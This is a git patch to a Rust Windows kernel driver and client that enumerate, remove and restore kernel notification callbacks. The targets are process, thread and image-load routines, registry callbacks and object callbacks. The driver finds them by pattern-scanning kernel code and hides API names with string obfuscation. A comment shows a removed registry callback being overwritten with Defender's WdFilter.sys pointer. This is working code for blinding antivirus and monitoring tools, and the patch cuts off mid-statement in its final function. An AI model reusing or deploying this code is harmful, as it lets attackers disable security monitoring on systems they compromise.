From 21491ac2687623f08b02e03b00d08608c86271e9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jo=C3=A3o?= Date: Sun, 4 Aug 2024 17:58:02 -0300 Subject: [PATCH] Adding new features in relation to callbacks and refactoring some other parts of the code --- client/.gitignore | 3 +- client/src/callback.rs | 23 +- client/src/cli.rs | 19 +- client/src/main.rs | 8 +- driver/.gitignore | 3 +- driver/src/callbacks/find_callback.rs | 180 ++++++- driver/src/callbacks/mod.rs | 660 ++++++++++++++++++++++---- driver/src/includes/mod.rs | 268 +++++++---- driver/src/injection/mod.rs | 8 +- driver/src/process/mod.rs | 2 +- driver/src/utils/ioctls.rs | 20 +- driver/src/utils/macros.rs | 75 ++- driver/src/utils/mod.rs | 37 +- shared/src/ioctls.rs | 12 +- shared/src/structs/callback.rs | 12 +- shared/src/structs/mod.rs | 1 + shared/src/structs/process.rs | 9 +- shared/src/vars.rs | 8 +- 18 files changed, 1090 insertions(+), 258 deletions(-) diff --git a/client/.gitignore b/client/.gitignore index c41cc9e..d37771b 100644 --- a/client/.gitignore +++ b/client/.gitignore @@ -1 +1,2 @@ -/target \ No newline at end of file +/target +/src/memory.rs \ No newline at end of file diff --git a/client/src/callback.rs b/client/src/callback.rs index 5d10d2a..c5e133b 100644 --- a/client/src/callback.rs +++ b/client/src/callback.rs @@ -35,13 +35,24 @@ pub fn enumerate_callback(ioctl_code: u32, callback: &Callbacks) { for i in callback_info.iter() { if i.address > 0 { let name = match String::from_utf16(&i.name) { - Ok(name) => name, + Ok(name) => name.trim_end_matches('\0').to_string(), Err(err) => { - eprintln!("[!] UTF-16 decoding error: {:?}", err); - continue; - } + eprintln!("[!] UTF-16 decoding error: {:?}", err); + continue; + } }; println!("[{}] {:?} {}", i.index, i.address as *mut c_void, name); + } else if i.post_operation > 0 || i.pre_operation > 0 { + let name = match String::from_utf16(&i.name) { + Ok(name) => name.trim_end_matches('\0').to_string(), + Err(err) => { + eprintln!("[!] UTF-16 decoding error: {:?}", err); + continue; + } + }; + println!("[{}] {}", i.index, name); + println!("\tpre_operation: {:?}", i.pre_operation as *mut c_void); + println!("\tpost_operation: {:?}", i.post_operation as *mut c_void); } } } @@ -73,8 +84,6 @@ pub fn remove_callback(index: usize, ioctl_code: u32, callback: &Callbacks) { if status == 0 { eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Remove Callback: {index}"); } unsafe { @@ -104,8 +113,6 @@ pub fn restore_callback(index: usize, ioctl_code: u32, callback: &Callbacks) { if status == 0 { eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status); - } else { - println!("[+] Restore Callback: {index}"); } unsafe { diff --git a/client/src/cli.rs b/client/src/cli.rs index b8c6825..c950147 100644 --- a/client/src/cli.rs +++ b/client/src/cli.rs @@ -92,15 +92,19 @@ pub enum Commands { /// Operations related to Callback. Callback { /// Enumerate callback. - #[arg(long)] + #[arg(long, short)] list: bool, + /// Enumerate Removed callback. + #[arg(long, short)] + enumerate: bool, + /// Remove callback. #[arg(long)] remove: Option, /// Select callback. - #[arg(long, required = true)] + #[arg(long, short, required = true)] callback: Callbacks, // Restore callback. @@ -279,7 +283,13 @@ pub enum Callbacks { /// Callback for PsSetCreateThreadNotifyRoutine. Thread, /// Callback for PsSetLoadImageNotifyRoutine. - LoadImage + LoadImage, + /// Callback for CmRegisterCallbackEx + Registry, + /// Callback for ObProcess + ObProcess, + /// Callback for ObThread + ObThread, } impl Callbacks { @@ -288,6 +298,9 @@ impl Callbacks { Callbacks::Process => shared::vars::Callbacks::PsSetCreateProcessNotifyRoutine, Callbacks::Thread => shared::vars::Callbacks::PsSetCreateThreadNotifyRoutine, Callbacks::LoadImage => shared::vars::Callbacks::PsSetLoadImageNotifyRoutine, + Callbacks::Registry => shared::vars::Callbacks::CmRegisterCallbackEx, + Callbacks::ObProcess => shared::vars::Callbacks::ObProcess, + Callbacks::ObThread => shared::vars::Callbacks::ObThread, } } } diff --git a/client/src/main.rs b/client/src/main.rs index 104843e..6a82720 100644 --- a/client/src/main.rs +++ b/client/src/main.rs @@ -173,12 +173,18 @@ fn main() { Commands::Module { pid } => { enumerate_module(IOCTL_ENUMERATE_MODULE, pid); } - Commands::Callback { list, remove, restore, callback } => { + Commands::Callback { list, enumerate ,remove, restore, callback } => { if *list { println!("[+] Enumerate Callback"); enumerate_callback(IOCTL_ENUMERATE_CALLBACK, callback); return; } + + if *enumerate { + println!("[+] Enumerate Removed Callback"); + enumerate_callback(IOCTL_ENUMERATE_REMOVED_CALLBACK, callback); + return; + } match (remove, restore) { (Some(index), None) => { diff --git a/driver/.gitignore b/driver/.gitignore index 88c714b..2b35a94 100644 --- a/driver/.gitignore +++ b/driver/.gitignore @@ -1,2 +1,3 @@ /target -/src/backup \ No newline at end of file +/src/backup +/src/memory \ No newline at end of file diff --git a/driver/src/callbacks/find_callback.rs b/driver/src/callbacks/find_callback.rs index ba9af02..dec88bf 100644 --- a/driver/src/callbacks/find_callback.rs +++ b/driver/src/callbacks/find_callback.rs @@ -1,7 +1,8 @@ use shared::vars::Callbacks; -use crate::utils; -use wdk_sys::ntddk::MmGetSystemRoutineAddress; +use crate::{includes::structs::FULL_OBJECT_TYPE, utils}; +use wdk_sys::{ntddk::MmGetSystemRoutineAddress, PsProcessType, PsThreadType}; use obfstr::obfstr; +use core::ptr::null_mut; /// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine. /// @@ -17,36 +18,36 @@ unsafe fn find_ps_create_process() -> Option<*mut u8> { // e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8) let instructions = [0xE8]; - if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) { + if let Some(y) = function_bytes.windows(instructions.len()).position(|x| x == instructions) { let position = y + 1; - let new_offset = function_bytes[position..position + 4] + let offset = function_bytes[position..position + 4] .try_into() - .map(u32::from_le_bytes) + .map(i32::from_le_bytes) .expect("Slice length is not 4, cannot convert"); // e8b6010000 call nt!PspSetCreateProcessNotifyRoutine (fffff802`517a64a8) let call_address = function_address.cast::().offset(y as isize); // 4883c428 add rsp,28h let next_address = call_address.cast::().offset(5); - let psp_set_create_process = next_address.offset(new_offset as isize); + let psp_set_create_process = next_address.offset(offset as isize); let function_bytes = core::slice::from_raw_parts(psp_set_create_process, 0x98); // 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)] let instructions = [0x4C, 0x8D, 0x2D]; - if let Some(x) = function_bytes.windows(instructions.len()).position(|y| *y == instructions) { + if let Some(x) = function_bytes.windows(instructions.len()).position(|y| y == instructions) { let position = x + 3; - let new_offset = function_bytes[position..position + 4] + let offset = function_bytes[position..position + 4] .try_into() - .map(u32::from_le_bytes) + .map(i32::from_le_bytes) .expect("Slice length is not 4, cannot convert"); // 4c8d2d4f605500 lea r13,[nt!PspCreateProcessNotifyRoutine (fffff802`51cfc560)] let lea_address = psp_set_create_process.cast::().offset(x as isize); // 488d0cdd00000000 lea rcx,[rbx*8] let next_address = lea_address.offset(7); - let psp_set_create_process = next_address.offset(new_offset as isize); + let psp_set_create_process = next_address.offset(offset as isize); return Some(psp_set_create_process) } @@ -69,18 +70,18 @@ unsafe fn find_ps_create_thread() -> Option<*mut u8> { // 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)] let instructions = [0x48, 0x8D, 0x0D]; - if let Some(x) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) { + if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) { let position = x + 3; - let new_offset = function_bytes[position..position + 4] + let offset = function_bytes[position..position + 4] .try_into() - .map(u32::from_le_bytes) + .map(i32::from_le_bytes) .expect("Slice length is not 4, cannot convert"); // 488d0d57d73d00 lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff805`7b4ee160)] let lea_address = function_address.cast::().offset(x as isize); // 488d2cf9 lea rbp,[rcx+rdi*8] let next_address = lea_address.offset(7); - let psp_set_create_thread = next_address.offset(new_offset as isize); + let psp_set_create_thread = next_address.offset(offset as isize); return Some(psp_set_create_thread); } @@ -102,19 +103,18 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> { // 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)] let instructions = [0x48, 0x8D, 0x0D]; - if let Some(x) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) { + if let Some(x) = function_bytes.windows(instructions.len()).position(|x| x == instructions) { let position = x + 3; - let offset = &function_bytes[position..position + 4]; - let new_offset = function_bytes[position..position + 4] + let offset = function_bytes[position..position + 4] .try_into() - .map(u32::from_le_bytes) + .map(i32::from_le_bytes) .expect("Slice length is not 4, cannot convert"); // 488d0d67d83d00 lea rcx,[nt!PspLoadImageNotifyRoutine (fffff806`0f0fe360)] let lea_address = function_address.cast::().offset(x as isize); // 488d2cf9 lea rbp,[rcx+rdi*8] let next_address = lea_address.offset(7); - let psp_load_image = next_address.offset(new_offset as isize); + let psp_load_image = next_address.offset(offset as isize); return Some(psp_load_image); } @@ -122,7 +122,129 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> { None } -/// Finds the type of the callback and calls the function responsible for it +/// Finds the address of the `CmRegisterCallbackEx` routine. +/// +/// # Returns +/// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise. +/// +unsafe fn find_cm_register_callback() -> Option<(*mut u8, *mut u8, *mut u8)>{ + let mut name = utils::uni::str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode(); + let function_address = MmGetSystemRoutineAddress(&mut name); + let mut callback_list_header = null_mut(); + let mut callback_count = null_mut(); + let mut callback_list_lock = null_mut(); + + let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 0x50); + + // e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff800`286e2b08) + let register_internal_pattern = [0xE8]; + + if let Some(x) = function_bytes.windows(register_internal_pattern.len()).position(|y| y == register_internal_pattern) { + let position = x + 1; + let offset = function_bytes[position..position + 4] + .try_into() + .map(i32::from_le_bytes) + .expect("Slice length is not 4, cannot convert"); + + // e8c961e7ff call nt!CmpRegisterCallbackInternal (fffff803`210e2b08) + let call_address = function_address.cast::().offset(x as isize); + // 4883c438 add rsp,38h + let next_address = call_address.offset(5); + let register_callback_internal = next_address.offset(offset as isize); + + let function_bytes = core::slice::from_raw_parts(register_callback_internal, 0x108); + + // 488bcb mov rcx,rbx + // e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c) + let insert_pattern = [0x8B, 0xCB, 0xE8]; + + if let Some(x) = function_bytes.windows(insert_pattern.len()).position(|y| y == insert_pattern) { + let position = x + 3; + let offset = function_bytes[position..position + 4] + .try_into() + .map(i32::from_le_bytes) + .expect("Slice length is not 4, cannot convert"); + + // e83d000000 call nt!CmpInsertCallbackInListByAltitude (fffff800`286e2c0c) + let call_insert_address = register_callback_internal.cast::().offset((x + 2) as isize); + // 488b4c2458 mov rcx,qword ptr [rsp+58h] + let next_address = call_insert_address.offset(5); + let insert_call_address = next_address.offset(offset as isize); + + let function_bytes = core::slice::from_raw_parts(insert_call_address, 0x200); + + // 488d0d7b585600 lea rcx,[nt!CmpCallbackListLock (fffff803`216484c0)] + let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D]; + // 4c8d3d78585600 lea r15,[nt!CallbackListHead (fffff803`216484d0)] + let callback_list_head_pattern = [0x4C, 0x8D, 0x3D]; + // f0ff05fddd5600 lock inc dword ptr [nt!CmpCallBackCount (fffff803`21650abc)] + let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05]; + + if let Some(x) = function_bytes.windows(cmp_callback_list_lock_pattern.len()).position(|y| y == cmp_callback_list_lock_pattern) { + let position = x + 3; + let offset = function_bytes[position..position + 4] + .try_into() + .map(i32::from_le_bytes) + .expect("Slice length is not 4, cannot convert"); + + let lea_address = insert_call_address.cast::().offset(x as isize); + let next_address = lea_address.offset(7); + callback_list_lock = next_address.offset(offset as isize); + }; + + if let Some(x) = function_bytes.windows(callback_list_head_pattern.len()).position(|y| y == callback_list_head_pattern) { + let position = x + 3; + let offset = function_bytes[position..position + 4] + .try_into() + .map(i32::from_le_bytes) + .expect("Slice length is not 4, cannot convert"); + + let lea_address = insert_call_address.cast::().offset(x as isize); + let next_address = lea_address.offset(7); + callback_list_header = next_address.offset(offset as isize); + }; + + if let Some(x) = function_bytes.windows(cmp_callback_count_pattern.len()).position(|y| y == cmp_callback_count_pattern) { + let position = x + 3; + let offset = function_bytes[position..position + 4] + .try_into() + .map(i32::from_le_bytes) + .expect("Slice length is not 4, cannot convert"); + + let lea_address = insert_call_address.cast::().offset(x as isize); + let next_address = lea_address.offset(7); + callback_count = next_address.offset(offset as isize); + }; + } + + if !callback_list_header.is_null() && !callback_count.is_null() && !callback_list_lock.is_null() { + return Some((callback_list_header, callback_count, callback_list_lock)); + } + } + + None +} + +/// Finds the address of the `ObRegisterCallbacks` routine. +/// +/// # Returns +/// - `Option<*mut FULL_OBJECT_TYPE>`: Some pointer to the address if found, None otherwise. +/// +pub fn find_ob_register_callback(callback: &Callbacks) -> Option<*mut FULL_OBJECT_TYPE> { + match callback { + Callbacks::ObProcess => { + let object_type = unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }; + Some(object_type) + }, + Callbacks::ObThread => { + let object_type = unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }; + Some(object_type) + }, + _ => return None + } +} + +/// Finds the type of the callback and calls the function responsible for it. /// /// # Parameters /// - `callback`: target callback that will be called. @@ -130,10 +252,20 @@ unsafe fn find_ps_load_image() -> Option<*mut u8> { /// # Returns /// - `Option<*mut u8>`: Some pointer to the address if found, None otherwise. /// -pub unsafe fn find_callback_address(callback: &Callbacks) -> Option<*mut u8> { +pub unsafe fn find_callback_address(callback: &Callbacks) -> Option { match callback { - Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process(), - Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread(), - Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image(), + Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::PsCreate), + Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::PsCreate), + Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::PsCreate), + Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry), + Callbacks::ObProcess => find_ob_register_callback(callback).map(CallbackResult::ObRegister), + Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::ObRegister), } } + +/// Enum containing return types for each callback. +pub enum CallbackResult { + PsCreate(*mut u8), + Registry((*mut u8, *mut u8, *mut u8)), + ObRegister(*mut FULL_OBJECT_TYPE) +} \ No newline at end of file diff --git a/driver/src/callbacks/mod.rs b/driver/src/callbacks/mod.rs index 40228c3..a1073d0 100644 --- a/driver/src/callbacks/mod.rs +++ b/driver/src/callbacks/mod.rs @@ -1,23 +1,33 @@ use { - obfstr::obfstr, + crate::{ + includes::structs::{CallbackRestaure, CallbackRestaureOb, CM_CALLBACK, OBCALLBACK_ENTRY}, + utils::return_module + }, alloc::vec::Vec, - crate::utils::uni, - find_callback::find_callback_address, - spin::{Mutex, lazy::Lazy}, + core::mem::size_of, + find_callback::{find_callback_address, CallbackResult}, ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - shared::structs::{CallbackInfoInput, CallbackInfoOutput, CallbackRestaure}, - wdk_sys::{ntddk::MmGetSystemRoutineAddress, NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL} + shared::structs::{CallbackInfoInput, CallbackInfoOutput}, + spin::{lazy::Lazy, Mutex}, + wdk_sys::{ + ntddk::{ExAcquirePushLockExclusiveEx, ExReleasePushLockExclusiveEx}, + NTSTATUS, STATUS_SUCCESS, STATUS_UNSUCCESSFUL + } }; mod find_callback; -/// Variable that stores callbacks that have been removed +/// Variable that stores callbacks that have been removed. static mut INFO_CALLBACK_RESTAURE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40))); -/// Structure representing the Callback. -pub struct Callback; +/// Variable that stores callbacks registry that have been removed. +static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40))); -impl Callback { +/// Variable that stores callbacks Ob that have been removed. +static mut INFO_CALLBACK_RESTAURE_OB: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(40))); + +/// Trait defining common operations for callback lists. +pub trait CallbackList { /// Restore a callback from the specified routine. /// /// # Parameters @@ -26,27 +36,7 @@ impl Callback { /// # Returns /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. /// - pub unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { - let mut callback_info = INFO_CALLBACK_RESTAURE.lock(); - let callback_type = (*target_callback).callback; - let index = (*target_callback).index; - - if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) { - let address = match find_callback_address(&(*target_callback).callback) { - Some(addr) => addr, - None => return STATUS_UNSUCCESSFUL, - }; - - let addr = address.offset((callback_info[index].index * 8) as isize); - *(addr as *mut u64) = callback_info[index].address; - callback_info.remove(index); - } else { - log::error!("Callback not found for type {:?} at index {}", callback_type, index); - return STATUS_UNSUCCESSFUL; - } - - STATUS_SUCCESS - } + unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS; /// Removes a callback from the specified routine. /// @@ -56,19 +46,73 @@ impl Callback { /// # Returns /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. /// - pub unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { + unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS; + + /// Searches for a module associated with a callback and updates callback information. + /// + /// # Parameters + /// - `target_callback`: Pointer to the callback information input. + /// - `callback_info`: Pointer to the callback information output. + /// - `information`: Pointer to a variable to store information size. + /// + /// # Returns + /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. + /// + unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS; + + /// List of callbacks currently removed. + /// + /// # Parameters + /// - `target_callback`: Pointer to the callback information input. + /// - `callback_info`: Pointer to the callback information output. + /// - `information`: Pointer to a variable to store information size. + /// + /// # Returns + /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. + /// + unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS; +} + +/// Structure representing the Callback. +pub struct Callback; + +/// Implement a feature for the callback PsSetCreateProcessNotifyRoutine / PsSetCreateThreadNotifyRoutine / PsSetLoadImageNotifyRoutine. +impl CallbackList for Callback { + unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { + let mut callback_info = INFO_CALLBACK_RESTAURE.lock(); + let callback_type = (*target_callback).callback; + let index = (*target_callback).index; + + if let Some(index) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) { + let address = match find_callback_address(&(*target_callback).callback) { + Some(CallbackResult::PsCreate(addr)) => addr, + _ => return STATUS_UNSUCCESSFUL, + }; + + let addr = address.offset((callback_info[index].index * 8) as isize); + *(addr as *mut u64) = callback_info[index].address; + callback_info.remove(index); + } else { + log::error!("Callback not found for type {:?} at index {}", callback_type, index); + return STATUS_UNSUCCESSFUL; + } + + STATUS_SUCCESS + } + + unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { let address = match find_callback_address(&(*target_callback).callback) { - Some(addr) => addr, - None => return STATUS_UNSUCCESSFUL, + Some(CallbackResult::PsCreate(addr)) => addr, + _ => return STATUS_UNSUCCESSFUL, }; let index = (*target_callback).index as isize; - let addr = address.offset(index * 8); let callback_restaure = CallbackRestaure { index: (*target_callback).index, callback: (*target_callback).callback, - address: *(addr as *mut u64) + address: *(addr as *mut u64), + ..Default::default() }; let mut callback_info = INFO_CALLBACK_RESTAURE.lock(); @@ -81,42 +125,18 @@ impl Callback { STATUS_SUCCESS } - /// Searches for a module associated with a callback and updates callback information. - /// - /// # Parameters - /// - `target_callback`: Pointer to the callback information input. - /// - `callback_info`: Pointer to the callback information output. - /// - `information`: Pointer to a variable to store information size. - /// - /// # Returns - /// - `NTSTATUS`: Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - /// - pub unsafe fn search_module(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { let address = match find_callback_address(&(*target_callback).callback) { - Some(addr) => addr, - None => return STATUS_UNSUCCESSFUL, + Some(CallbackResult::PsCreate(addr)) => addr, + _ => return STATUS_UNSUCCESSFUL, }; - let ps_module = uni::str_to_unicode(obfstr!("PsLoadedModuleList")); - let func = MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY; + let (mut ldr_data, module_count) = match return_module() { + Some(result) => result, + None => return STATUS_UNSUCCESSFUL + }; - if func.is_null() { - log::error!("PsLoadedModuleList is null"); - return STATUS_UNSUCCESSFUL; - } - - let mut list_entry = (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - let mut module_count = 0; - - let start_entry = list_entry; - while !list_entry.is_null() && list_entry != func { - module_count += 1; - list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - log::info!("Number of loaded modules: {}", module_count); - - list_entry = start_entry; + let start_entry = ldr_data; for i in 0..64 { let addr = address.cast::().offset(i * 8); @@ -128,40 +148,518 @@ impl Callback { // Iterate over the loaded modules for _ in 0..module_count { - let buffer = core::slice::from_raw_parts( - (*list_entry).BaseDllName.Buffer, - ((*list_entry).BaseDllName.Length / 2) as usize, - ); - - let start_address = (*list_entry).DllBase; - let image_size = (*list_entry).SizeOfImage; + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; let end_address = start_address as u64 + image_size as u64; let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64); - + if raw_pointer > start_address as u64 && raw_pointer < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + // Module name let name = &mut (*callback_info.offset(i)).name[..buffer.len()]; core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); // Module address - (*callback_info.offset(i)).address = callback as usize; + (*callback_info.offset(i)).address = raw_pointer as usize; // Module index (*callback_info.offset(i)).index = i as u8; - *information += core::mem::size_of::(); + *information += size_of::(); break; } // Go to the next module in the list - list_entry = (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; } - // Reset list_entry for next callback - list_entry = start_entry; + // Reset ldr_data for next callback + ldr_data = start_entry; + } + + STATUS_SUCCESS + } + + unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + let callback_restaure = INFO_CALLBACK_RESTAURE.lock(); + + let (mut ldr_data, module_count) = match return_module() { + Some(result) => result, + None => return STATUS_UNSUCCESSFUL + }; + + let start_entry = ldr_data; + + for (i, callback) in callback_restaure.iter().enumerate() { + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64); + + if raw_pointer > start_address as u64 && raw_pointer < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Module name + let name = &mut (*callback_info.offset(i as isize)).name[..buffer.len()]; + core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); + + // Module address + (*callback_info.offset(i as isize)).address = raw_pointer as usize; + + // Module index + (*callback_info.offset(i as isize)).index = callback.index as u8; + + *information += size_of::(); + break; + } + + // Go to the next module in the list + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset ldr_data for next callback + ldr_data = start_entry; } STATUS_SUCCESS } } +/// Structure representing the Callback Registry. +pub struct CallbackRegistry; + +/// Implement a feature for the callback CmRegisterCallbackEx. +impl CallbackList for CallbackRegistry { + unsafe fn restore_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { + let mut callback_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); + let callback_type = (*target_callback).callback; + let index = (*target_callback).index; + + if let Some(x) = callback_info.iter().position(|c| c.callback == callback_type && c.index == index) { + let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) { + Some(CallbackResult::Registry(addr)) => addr, + _ => return STATUS_UNSUCCESSFUL, + }; + + ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0); + + let count = *(callback_count as *mut u32) + 1; + let mut pcm_callback = callback_list_header as *mut CM_CALLBACK; + + for i in 0..count { + if pcm_callback.is_null() { + break; + } + + if i == index as u32 { + (*pcm_callback).function = callback_info[x].address; + callback_info.remove(x); + + ExReleasePushLockExclusiveEx(callback_list_lock as _, 0); + return STATUS_SUCCESS; + } + + pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK; + } + + ExReleasePushLockExclusiveEx(callback_list_lock as _, 0); + + } else { + log::error!("Callback not found for type {:?} at index {}", callback_type, index); + return STATUS_UNSUCCESSFUL; + } + STATUS_SUCCESS + } + + unsafe fn remove_callback(target_callback: *mut CallbackInfoInput) -> NTSTATUS { + let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) { + Some(CallbackResult::Registry(addr)) => addr, + _ => return STATUS_UNSUCCESSFUL, + }; + + ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0); + + let index = (*target_callback).index as isize; + let count = *(callback_count as *mut u32) + 1; + let mut pcm_callback = callback_list_header as *mut CM_CALLBACK; + let mut callback_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); + let mut prev_addr = 0; + + for i in 0..count { + if i == 1 { + prev_addr = (*pcm_callback).function as u64; // WdFilter.sys + } + + if pcm_callback.is_null() { + break; + } + + if i == index as u32 { + let addr = (*pcm_callback).function as u64; + let callback_restaure = CallbackRestaure { + index: (*target_callback).index, + callback: (*target_callback).callback, + address: addr, + ..Default::default() + }; + + (*pcm_callback).function = prev_addr; + callback_info.push(callback_restaure); + + log::info!("Callback removed at index {}", index); + ExReleasePushLockExclusiveEx(callback_list_lock as _, 0); + + return STATUS_SUCCESS; + } + + pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK; + } + + ExReleasePushLockExclusiveEx(callback_list_lock as _, 0); + + STATUS_UNSUCCESSFUL + } + + unsafe fn enumerate_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + let (callback_list_header, callback_count, callback_list_lock) = match find_callback_address(&(*target_callback).callback) { + Some(CallbackResult::Registry(addr)) => addr, + _ => return STATUS_UNSUCCESSFUL, + }; + + let count = *(callback_count as *mut u32) + 1; + let mut pcm_callback = callback_list_header as *mut CM_CALLBACK; + let (mut ldr_data, module_count) = match return_module() { + Some(result) => result, + None => return STATUS_UNSUCCESSFUL + }; + let start_entry = ldr_data; + + ExAcquirePushLockExclusiveEx(callback_list_lock as _, 0); + + for i in 0..count as isize { + if pcm_callback.is_null() { + break; + } + // Iterate over the loaded modules + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = (*ldr_data).SizeOfImage; + let end_address = start_address as u64 + image_size as u64; + let addr = (*pcm_callback).function as u64; + + if addr > start_address as u64 && addr < end_address { + let buffer = core::slice::from_raw_parts( + (*ldr_data).BaseDllName.Buffer, + ((*ldr_data).BaseDllName.Length / 2) as usize, + ); + + // Module name + let name = &mut (*callback_info.offset(i)).name[..buffer.len()]; + core::ptr::copy_nonoverlapping(buffer.as_ptr(), name.as_mut_ptr(), buffer.len()); + + // Module address + (*callback_info.offset(i)).address = addr as usize; + + // Module index + (*callback_info.offset(i)).index = i as u8; + + *information += size_of::(); + break; + } + + // Go to the next module in the list + ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + // Reset ldr_data for next callback + ldr_data = start_entry; + + pcm_callback = (*pcm_callback).list.Flink as *mut CM_CALLBACK; + } + + ExReleasePushLockExclusiveEx(callback_list_lock as _, 0); + + STATUS_SUCCESS + } + + unsafe fn enumerate_removed_callback(target_callback: *mut CallbackInfoInput, callback_info: *mut CallbackInfoOutput, information: &mut usize) -> NTSTATUS { + let callback_restaure = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); + + let (mut ldr_data, module_count) = match return_module() { + Some(result) => result, + None => return STATUS_UNSUCCESSFUL + }; + + let start_entry = ldr_data; + + for (i, callback) in callback_restaure.iter().enumerate() { + for _ in 0..module_count { + let start_address = (*ldr_data).DllBase; + let image_size = 